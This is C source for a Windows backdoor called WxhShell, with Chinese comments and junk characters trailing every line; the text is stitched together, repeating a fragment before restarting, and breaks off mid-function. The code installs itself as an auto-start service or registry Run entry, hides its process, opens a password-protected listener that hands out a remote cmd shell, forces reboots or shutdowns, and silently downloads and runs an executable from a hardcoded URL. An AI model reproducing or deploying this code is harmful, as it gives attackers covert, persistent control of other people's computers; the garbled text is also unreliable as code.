    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *!Xhy87%Z)  
    if(Boot(SHUTDOWN)) iX~V(~v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"Ar3>   
    else { 0e3 aWn  
    closesocket(wsh); MvObx'+  
    ExitThread(0); !k&<  
    } xAsbP$J:  
    break; Ww@R ewo  
    } IX-ir  
  // 获取shell VTD'D+ t  
  case 's': { m\j'7mZ1  
    CmdShell(wsh); 6N6d[t"  
    closesocket(wsh); t + Fm?  
    ExitThread(0); xez~Yw2  
    break; Io| 72W}rg  
  } y\Zx {A[  
  // 退出 8j8FQ!M  
  case 'x': { 3TO$J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !x|Ok'izDL  
    CloseIt(wsh); ?-J\~AXL  
    break; w,D(zk$   
    } GtbI w  
  // 离开 entO"~*EX  
  case 'q': { C 2FewsRz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OZ0q6"  
    closesocket(wsh); ]*Zg(YA  
    WSACleanup(); jF{zcYU  
    exit(1); Z&YW9de@  
    break; u|APx8?"o  
        } =3Y?U*d  
  } FjVC&+c  
  } D@&0 P&  
H<g- Bhv  
  // 提示信息 Ql!$e&A|l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d:Wh0y}  
} @ScH"I];uA  
  } Id|38   
1+v)#Wj  
  return; KZJ;O7'`  
} aw {?UvL&  
]uj6-0q){W  
// shell模块句柄 ho;Km  
int CmdShell(SOCKET sock) sZ7{_}B  
{ EnZrnoGM  
STARTUPINFO si; %YA=W=Yd  
ZeroMemory(&si,sizeof(si)); 4w\cS&X~C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (+(YO\ng6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,J~kwJ$L  
PROCESS_INFORMATION ProcessInfo; cl30"WK!  
char cmdline[]="cmd"; td&W>(3d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~M2w&g;1  
  return 0; z^O>'9#  
} jv?`9{-  
T)qD}hl  
// 自身启动模式 ~~]L!P  
int StartFromService(void) f_7a) 'V4  
{ +hqsIx  
typedef struct -BgzAxa  
{ -(ABQgSO]  
  DWORD ExitStatus; Gr}Lp  
  DWORD PebBaseAddress; s=#3f3  
  DWORD AffinityMask; CUaI66  
  DWORD BasePriority; 7xz|u\?_2  
  ULONG UniqueProcessId; ?(n|ykXwc  
  ULONG InheritedFromUniqueProcessId; la[xbv   
}   PROCESS_BASIC_INFORMATION; <9B\('  
hj4Kv  
PROCNTQSIP NtQueryInformationProcess; u+~Ta  
p{[Ol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *O+G}_}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /MO|q  
gyondcF  
  HANDLE             hProcess; 1zl6Rwk^o  
  PROCESS_BASIC_INFORMATION pbi;  _p<s!  
;3-5U&Axt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Re0ma%~LP  
  if(NULL == hInst ) return 0; ECWn/4Aws  
^?VYE26  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SoI"a^fY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F\ yxXOI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m$Lq#R={Z  
gT 22!  
  if (!NtQueryInformationProcess) return 0; ML^c-xY(  
]g2Y/\)a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qCi6kEr  
  if(!hProcess) return 0; pdX%TrM+[:  
%qfql  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zB kS1qMn  
jkw:h0hX  
  CloseHandle(hProcess); SEsc"l8  
%"Tn=fZIF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J`}5bnFP  
if(hProcess==NULL) return 0; ZS[(r-)$F  
k9H7(nS{  
HMODULE hMod; iy_'D  
char procName[255]; 0?59o!@h  
unsigned long cbNeeded; A??(}F L  
[!9 dA.tF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +NL^/y<;  
qd\5S*Z1  
  CloseHandle(hProcess); Cj^:8 ?%  
Gu} `X23  
if(strstr(procName,"services")) return 1; // 以服务启动 `|@#~  
A;VjMfoB  
  return 0; // 注册表启动 &Ohm]g8{2  
} FRa@T N/Ic  
P9h]B u  
// 主模块 rrBu6\D  
int StartWxhshell(LPSTR lpCmdLine) :l<)p;\  
{ r_/=iYYJ  
  SOCKET wsl; _hT-5)1r  
BOOL val=TRUE; -+fbK/  
  int port=0; &E|2-)  
  struct sockaddr_in door; H>Wi(L7  
#Ezq}F8Y  
  if(wscfg.ws_autoins) Install(); F ^& Rg  
<X9  T}g  
port=atoi(lpCmdLine); :.KN;+tP  
M JJ]8:%  
if(port<=0) port=wscfg.ws_port; GQ<]Sd}[  
h&Thq52R  
  WSADATA data; |tL57Wu93  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tj:3R$a  
ANB@cK_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \\;i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <s/n8#i=H  
  door.sin_family = AF_INET; 7d&_5Tj:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g3[Zh=+]E  
  door.sin_port = htons(port); P2J{ Ml#  
Exir?G}\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3exv k  
closesocket(wsl); ~P&Brn"=Rs  
return 1; `CCuwe<v  
} aRFLh  
 !]]QbB  
  if(listen(wsl,2) == INVALID_SOCKET) { S |SN3)  
closesocket(wsl); IHqY/j  
return 1; Kjbt1n  
} eZDqW)x  
  Wxhshell(wsl); :B(F ?9qK  
  WSACleanup(); o+(>/Ou  
~x<nz/^  
return 0; s|iph~W!L  
C9l5zb~D  
} (eX9O4  
huh-S ,M  
// 以NT服务方式启动 1,cd[^`.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gok8:,  
{ ,Qvclu8r  
DWORD   status = 0; ^`b&fb v  
  DWORD   specificError = 0xfffffff; Tj &PB_v1  
{v&c5B~,\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #hinb[fQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D(3\m)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jDI)iW`P  
  serviceStatus.dwWin32ExitCode     = 0; 8#%Sq=/+M  
  serviceStatus.dwServiceSpecificExitCode = 0; Nxk3uF^  
  serviceStatus.dwCheckPoint       = 0; 4o,%}bo&  
  serviceStatus.dwWaitHint       = 0; |$[WnYP  
Q `$Q(/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  LW?Zd=  
  if (hServiceStatusHandle==0) return; LxqK@Q<B  
,(aOTFQS  
status = GetLastError(); 7U=|>)Q0s  
  if (status!=NO_ERROR) G9?6qb:  
{ ^X2U A{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u{%gB&nC  
    serviceStatus.dwCheckPoint       = 0; Fv!zS.)`  
    serviceStatus.dwWaitHint       = 0; rBBA`Ut@F  
    serviceStatus.dwWin32ExitCode     = status;  y!6+jrI  
    serviceStatus.dwServiceSpecificExitCode = specificError; mHTZ:84  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4%l @   
    return; emZ^d/A  
  } En@] xvE  
`x;8,7W;B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ) V}q7\G~  
  serviceStatus.dwCheckPoint       = 0; k+k&}8e  
  serviceStatus.dwWaitHint       = 0; $'$#Xn,hU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _4E . P  
} W}+f}/&l  
.<`W2*1  
// 处理NT服务事件,比如:启动、停止 x+~IXi>Ig  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |12Cg>;j*n  
{ g@WGd(o0)  
switch(fdwControl) a`}b'X:  
{ y/' ^r?  
case SERVICE_CONTROL_STOP: -9BKa~ DVQ  
  serviceStatus.dwWin32ExitCode = 0; xw60l&s.\L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l!2hwRR  
  serviceStatus.dwCheckPoint   = 0; 8?qEv,W  
  serviceStatus.dwWaitHint     = 0; eF5?4??  
  { RusC5\BUX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sA18f2  
  } tT7< V{i4  
  return; Zf~ [4Eeb  
case SERVICE_CONTROL_PAUSE: z`gdE0@;d3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QusEWq)}<  
  break; StUiL>9T#  
case SERVICE_CONTROL_CONTINUE: k;V4%O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @\gTi;u/x  
  break; /EY ^ui  
case SERVICE_CONTROL_INTERROGATE: XOl]s?6H$  
  break; ; n2|pC^  
}; YT;b$>1v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3#>;h  
} U^_'e_)  
yQwj [  
// 标准应用程序主函数 c"aiZ(aP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j!r 4p,  
{ Ph&AP*Fq  
3[Pa~]yS  
// 获取操作系统版本 YxMOr\B  
OsIsNt=GetOsVer(); ]a% *$TF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6T6 S9A*nT  
hjiU{@q  
  // 从命令行安装 oOk.Fq  
  if(strpbrk(lpCmdLine,"iI")) Install(); B`Q.<Lqu  
'8~cf  
  // 下载执行文件 o l 67x  
if(wscfg.ws_downexe) { 5qco4@8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *[*E|by  
  WinExec(wscfg.ws_filenam,SW_HIDE); p},6W,f  
} iKB8V<[\T  
+Q, 0kv  
if(!OsIsNt) { LV:oNK(  
// 如果时win9x,隐藏进程并且设置为注册表启动 IY|;}mIF  
HideProc(); db"FC3/H  
StartWxhshell(lpCmdLine); (_ov _3  
} 'e-Nt&;  
else mwFI89J'  
  if(StartFromService()) "Kk3#  
  // 以服务方式启动 8F0+\40  
  StartServiceCtrlDispatcher(DispatchTable); ,hK0F3?H>  
else lo:]r.lX{  
  // 普通方式启动 Du>dTi~  
  StartWxhshell(lpCmdLine); VVuL+i  
<!:,(V>F(C  
return 0; 8k'UEf`'(  
} Z,o*M#}  
woZ'T  
E0=-6j  
'MKkC(]4  
=========================================== =Mq=\T  
Tgp}k%R~  
/vPh_1  
rtDm<aUh  
p}.P^`~j  
IS7g{:}=p  
" DLE|ctzj[7  
Kp"mV=RG2T  
#include <stdio.h> Cog Lo&.  
#include <string.h> =mCUuY#  
#include <windows.h> j'-akXo<  
#include <winsock2.h> JnCY O^Qj  
#include <winsvc.h> .LafP}%  
#include <urlmon.h> f+0dwlIlC$  
iR4CY-  
#pragma comment (lib, "Ws2_32.lib") 9>psQ0IRvr  
#pragma comment (lib, "urlmon.lib") MoA2Cp;8X  
GFvZdP`s4  
#define MAX_USER   100 // 最大客户端连接数 , j ,[4^  
#define BUF_SOCK   200 // sock buffer >H@ dgb  
#define KEY_BUFF   255 // 输入 buffer D_O%[u}  
D0PP   
#define REBOOT     0   // 重启 U;Hu:q*  
#define SHUTDOWN   1   // 关机 H;s0|KRgJ  
uc%75TJ@  
#define DEF_PORT   5000 // 监听端口 -;T>4B=  
2uw%0r3Vi6  
#define REG_LEN     16   // 注册表键长度 n4)G g~PE  
#define SVC_LEN     80   // NT服务名长度 #e&j]Q$Eh  
/woa[7Xe  
// 从dll定义API +IVVsVp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kv+E"2d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z!6\KV]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }"fP,:n"KN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  <_MQC  
%-]j;'6}cX  
// wxhshell配置信息 !'ajpK  
struct WSCFG { 5@j?7%_8  
  int ws_port;         // 监听端口 @okC":Fw,  
  char ws_passstr[REG_LEN]; // 口令 .eXIbd<C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q" VFcp:  
  char ws_regname[REG_LEN]; // 注册表键名 e`R*6^e  
  char ws_svcname[REG_LEN]; // 服务名 i>T{s-3v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I Jq$GR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !`,6E`Y#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c@ En4[a'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no * ok89 ad  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ] V]~I.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6\O4R  
-O~WHi5}  
}; |IH-a"  
0"u*Kn  
// default Wxhshell configuration qChS} Q  
struct WSCFG wscfg={DEF_PORT, J~ v<Z/gm  
    "xuhuanlingzhe", ]G&?e9OA  
    1, jb)z[!FbM  
    "Wxhshell", P>L-,R(7e  
    "Wxhshell", OdRXNk:k-j  
            "WxhShell Service", yhQo1e>  
    "Wrsky Windows CmdShell Service", D.qbzJz  
    "Please Input Your Password: ", S3hJL:3c  
  1, F#4?@W  
  "http://www.wrsky.com/wxhshell.exe", t K{`?NS  
  "Wxhshell.exe" zo@>~G3$9  
    }; \I#lLP  
}?*:uf  
// 消息定义模块 L7n->8Qk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &z{oVU+mA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g_>)Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ew4DumI  
char *msg_ws_ext="\n\rExit."; RZ|s[b U  
char *msg_ws_end="\n\rQuit."; @z dmB~C  
char *msg_ws_boot="\n\rReboot..."; z2!NBOv  
char *msg_ws_poff="\n\rShutdown..."; ,a$LT   
char *msg_ws_down="\n\rSave to "; +qpD>5#  
~ ;)@a  
char *msg_ws_err="\n\rErr!"; $g#X9/+<  
char *msg_ws_ok="\n\rOK!"; .eZ4?|at.F  
jc;&g)Rv  
char ExeFile[MAX_PATH]; !Si ZA"  
int nUser = 0; <6p{eGAQV  
HANDLE handles[MAX_USER]; QwOQS %  
int OsIsNt; 6JRee[  
sdS<-! %u4  
SERVICE_STATUS       serviceStatus; ,PRM(n-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =h&DW5QC  
f`WmRx]K  
// 函数声明 ^ 9;s nr  
int Install(void); "793R^Tz  
int Uninstall(void); 9A B~*;U  
int DownloadFile(char *sURL, SOCKET wsh); SL%4w<  
int Boot(int flag); .j7|;Ag  
void HideProc(void); LfOGq%&  
int GetOsVer(void); x"AYt:ewuc  
int Wxhshell(SOCKET wsl); v.r$]O  
void TalkWithClient(void *cs); @H&Aj..  
int CmdShell(SOCKET sock); b^Rg_,s  
int StartFromService(void); !6<2JNf  
int StartWxhshell(LPSTR lpCmdLine); ?3KI}'}EM  
jGI!}4_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wf: AMxDm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L$@RSKYp  
P[XE5puC  
// 数据结构和表定义 cty~dzX^  
SERVICE_TABLE_ENTRY DispatchTable[] = Dvd.Q/f  
{ ^Po\:x%o  
{wscfg.ws_svcname, NTServiceMain}, .fo.mC@a  
{NULL, NULL} D ?,P\cp  
}; dP)8T  
pVbX#3  
// 自我安装 h3@mN\=h'  
int Install(void) n=rPFp RLF  
{ T^A:pL1  
  char svExeFile[MAX_PATH]; /"iYEr%_  
  HKEY key; )E6m}?H5  
  strcpy(svExeFile,ExeFile); wQ.ild  
Qt>yRt  
// 如果是win9x系统,修改注册表设为自启动 8VMq>-  
if(!OsIsNt) { .V/TVz!b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^o?.Rph|i]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ctt5t  
  RegCloseKey(key); ;C{ 2*0"H|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u =rY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S'E6#   
  RegCloseKey(key); 3kYUO-qw  
  return 0; hC6$>tl  
    } )%,bog(x  
  } x( mY$l,il  
} krz@1[w-j  
else { hCr7%`  
}s{zy:1O  
// 如果是NT以上系统,安装为系统服务 qx_+mCZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vj{h*~  
if (schSCManager!=0) Ap}:^k5{  
{ p[Q   
  SC_HANDLE schService = CreateService 1q\U (^  
  ( m?<C\&)6x  
  schSCManager, 0JNG\ARC  
  wscfg.ws_svcname, d6hWmZVC  
  wscfg.ws_svcdisp, P\N`E?lJL  
  SERVICE_ALL_ACCESS, @*%.V.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h+Dg"j<[  
  SERVICE_AUTO_START, .'.|s?s  
  SERVICE_ERROR_NORMAL, >DbG$V<v'  
  svExeFile, ;Rwr5  
  NULL, Z71"d"  
  NULL, 3j.f3~"  
  NULL, h ?p^DPo  
  NULL, l'3NiIX  
  NULL 4qyL' \d[  
  ); %f{kT<XHu  
  if (schService!=0) +;cw<9%0  
  { Yj0Ss{Ep  
  CloseServiceHandle(schService); U.wgae].O;  
  CloseServiceHandle(schSCManager); N@j|I* y|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G e~&Ble  
  strcat(svExeFile,wscfg.ws_svcname); 1L &_3}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :1.$7W t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /3+7a\|mKr  
  RegCloseKey(key); ~"=nt@M]  
  return 0; 5%4:)s{4|  
    } =euoSH D}  
  } Sl 6}5  
  CloseServiceHandle(schSCManager); &+*jTE  
} '>`bp25>  
} AV&W&$  
KtV_DjH:  
return 1; 3s>& h-E  
} r."Dc  
~@sx}u  
// 自我卸载 +Do7rl  
int Uninstall(void) 'iL['4~.  
{ l|N1u=Z  
  HKEY key; MR+ndB<  
})"9TfC  
if(!OsIsNt) { }B0V$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vQIoj31  
  RegDeleteValue(key,wscfg.ws_regname); *5|\if\  
  RegCloseKey(key); #Va@4<4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :&TOQ<vM  
  RegDeleteValue(key,wscfg.ws_regname); k# &y  
  RegCloseKey(key); >_&+gn${  
  return 0; ,"}'NH@  
  } `^w5/v#  
} NO9Jre  
} ;o8cfD.z  
else { Xb;CY9&  
zo]7#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /{qr~7k,oQ  
if (schSCManager!=0) NTVG'3o  
{ JLg_oK6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C{Npipd}v  
  if (schService!=0) tk, H vE  
  { 0Y"==g+ >f  
  if(DeleteService(schService)!=0) { pK$^@~DE  
  CloseServiceHandle(schService); teM&[U  
  CloseServiceHandle(schSCManager); 0BVMLRB  
  return 0; L {5zA5#m  
  } M(/%w"R  
  CloseServiceHandle(schService); B>~E6j7[Mp  
  } bJ/~UEZw  
  CloseServiceHandle(schSCManager); jkPXkysm  
} e1+ %c9UQ  
} q:nYUW o   
]vu' +F$  
return 1; X\YeO> C  
} wmT3 >  
,Xb:f/lB  
// 从指定url下载文件 ];Z_S`JR  
int DownloadFile(char *sURL, SOCKET wsh) y)(@  
{ I s88+,O  
  HRESULT hr; t$UFR7XE  
char seps[]= "/"; QR^pu.k@  
char *token; y8,es$  
char *file; kuUH 2:L  
char myURL[MAX_PATH]; VY![VnHsB  
char myFILE[MAX_PATH]; ^{Mx?]z  
@];Xbbw+c  
strcpy(myURL,sURL); Y @K9Hl  
  token=strtok(myURL,seps); Vxk0oI k`  
  while(token!=NULL) 1lx\Pz@ol  
  { g\6(ezUF*  
    file=token; A 7TP1  
  token=strtok(NULL,seps); 3HfT9  
  } -98bX]8  
Y3-15:-  
GetCurrentDirectory(MAX_PATH,myFILE); o]k[l ;  
strcat(myFILE, "\\"); 8@Y@5)Oc  
strcat(myFILE, file); BKJW\gS2  
  send(wsh,myFILE,strlen(myFILE),0); 2U#OBvNU  
send(wsh,"...",3,0); @c.QrKSaD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,sJ{2,]~  
  if(hr==S_OK) %7L'2/Y2x  
return 0; ~}TVM%0RTq  
else 57r\s 8  
return 1; ?DpMR/  
OO\UF6MCU  
} 6%fU}si,  
az19-QIcg  
// 系统电源模块 G.(9I~!  
int Boot(int flag) i2swots  
{ h3JIiwv0!  
  HANDLE hToken; r2H]n.MT  
  TOKEN_PRIVILEGES tkp; >0~y "~M  
tb_}w@:kU  
  if(OsIsNt) { i>0bI^H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7AtJ6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s[Njk@y,  
    tkp.PrivilegeCount = 1; J)o~FC]b*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uRUysLIw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q OdvzVy<  
if(flag==REBOOT) { $R"~BZbt;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g:OVAA  
  return 0; xx41Qw>\W  
} beO*|  
else { I-+D+DhRx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WxIP~  
  return 0; !q$IB?8   
} II[qWs>RG[  
  } YJr@4!j*  
  else { dyu~T{  
if(flag==REBOOT) { eaCEZHr$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hp[8.Z$7  
  return 0; Aja'`Mu  
} k.0$~juu  
else { |n* I}w^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b/<n:*$   
  return 0; #mtlgK'  
} vY.p~3q :)  
} ~/gqXT">  
;.m"y-  
return 1; 5)EnOT"'  
} JkpA \<  
];(w8l  
// win9x进程隐藏模块 03{e[#6   
void HideProc(void) <tFq6|  
{ A "w 1GBx  
O^`Y>>a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $L;7SY?  
  if ( hKernel != NULL ) 5w{_WR6,  
  { Jd)|== yD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z=wLNmH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "rkP@ja9n  
    FreeLibrary(hKernel); [t?ftS  
  } !9V_U  
M|76,2u   
return; =X>?Y,   
} B \[P/AC  
@XB/9!  
// 获取操作系统版本 B&<Z#C:I  
int GetOsVer(void) 8<IO X  
{ {wCQ#V  
  OSVERSIONINFO winfo; ;Wb W\,P'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t[0gN:s  
  GetVersionEx(&winfo); =y ^N '1q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cojuU=i  
  return 1; ]LNP"vi;  
  else Tpkm\_  
  return 0; OSsdB%bIu`  
} ~F DJKGK  
P>jlFm  
// 客户端句柄模块 "TG}aS  
int Wxhshell(SOCKET wsl) ar>S_VW*  
{ g6 r3V.X'  
  SOCKET wsh; / 1E6U6  
  struct sockaddr_in client; rN_\tulOF  
  DWORD myID; =j }]-!  
C\ 9eR  
  while(nUser<MAX_USER) uiO8F*,!&r  
{ qfG`H#cA<  
  int nSize=sizeof(client); MJDFm,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }6ec2I%`o  
  if(wsh==INVALID_SOCKET) return 1; keCM}V`?"  
J`V7FlM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \$GlB+ iCx  
if(handles[nUser]==0) q=g;TAXZl  
  closesocket(wsh); -*+7-9A I  
else 'TezUBRAz  
  nUser++; B!rY\ ?W  
  } _fa2ntuS=f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?v `0KF  
[ 98)7  
  return 0; zJXU>'obe  
} Tig`4d-%  
O,XVA  
// 关闭 socket ^%*%=LJm  
void CloseIt(SOCKET wsh) } n_9d.  
{ qp'HRh@P2:  
closesocket(wsh); K^?/  
nUser--; beN0 ?G  
ExitThread(0); !V#(g./W  
} U")bvUIL  
MhWmY[  
// 客户端请求句柄 aJK8G,Vk  
void TalkWithClient(void *cs) jh2D 9h  
{ M)( 5S1ndq  
{N/(lB8  
  SOCKET wsh=(SOCKET)cs; O~l WFaW  
  char pwd[SVC_LEN]; f*LDrAf9  
  char cmd[KEY_BUFF]; ,7z.%g3+z  
char chr[1]; bp;b;f>  
int i,j; eBBqF!WDb  
mp>,TOi~s7  
  while (nUser < MAX_USER) { qAHQZKk  
>t3%-Kc  
if(wscfg.ws_passstr) { 0x[v)k9"0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rw=g g >\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wyw/imr  
  //ZeroMemory(pwd,KEY_BUFF); D$!(Iae  
      i=0; \:%e 6M  
  while(i<SVC_LEN) { " :@5|4qK  
$yLsuqB}  
  // 设置超时 cZPv6c_w  
  fd_set FdRead; DXsp 2  
  struct timeval TimeOut; 349W0>eOT  
  FD_ZERO(&FdRead); #1&w fI$  
  FD_SET(wsh,&FdRead); 2LEf"FH0~  
  TimeOut.tv_sec=8; [N'YFb3"O  
  TimeOut.tv_usec=0; M')f,5i&$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rp{q.fy'U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K!0vvP2H  
DO8@/W( `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C`%cPl  
  pwd=chr[0]; m\O<Yc keA  
  if(chr[0]==0xd || chr[0]==0xa) { 6;"jq92in*  
  pwd=0; R>BnUIu  
  break; -5\hZ!!J2  
  } CcG{+-= H)  
  i++; -}AAA*P  
    } |B./5 ,nSS  
~C\R!DN,  
  // 如果是非法用户,关闭 socket 5k)/SAU0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]O,;t>  
} [z'PdYQR/{  
)Gi!wm>zvN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B'[FnJ8~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A><w1-X&=o  
qrdA4S  
while(1) { < KB V  
J[0o 6  
  ZeroMemory(cmd,KEY_BUFF); dZMf5=tb  
5 1&||.  
      // 自动支持客户端 telnet标准   ^/c v8M=  
  j=0; Hst]}g' .  
  while(j<KEY_BUFF) { k9Pwf"m|](  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZH<: g6  
  cmd[j]=chr[0]; LeP;HP|  
  if(chr[0]==0xa || chr[0]==0xd) {  Q6qIx=c4  
  cmd[j]=0; I!-"SuBy4J  
  break; Pk{eGG<F$  
  } 76 ] X  
  j++; L<dJWxf?D  
    } SHcFnxEAIH  
"2m (*+  
  // 下载文件 VA D9mS^~  
  if(strstr(cmd,"http://")) { $tm%=g^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E@} NV|90  
  if(DownloadFile(cmd,wsh)) ~9ZW~z'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mo NpKf  
  else 'GyO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qnc?&f  
  } 84U?\f@u  
  else { 3bU(ea^e$  
y]U]b G{  
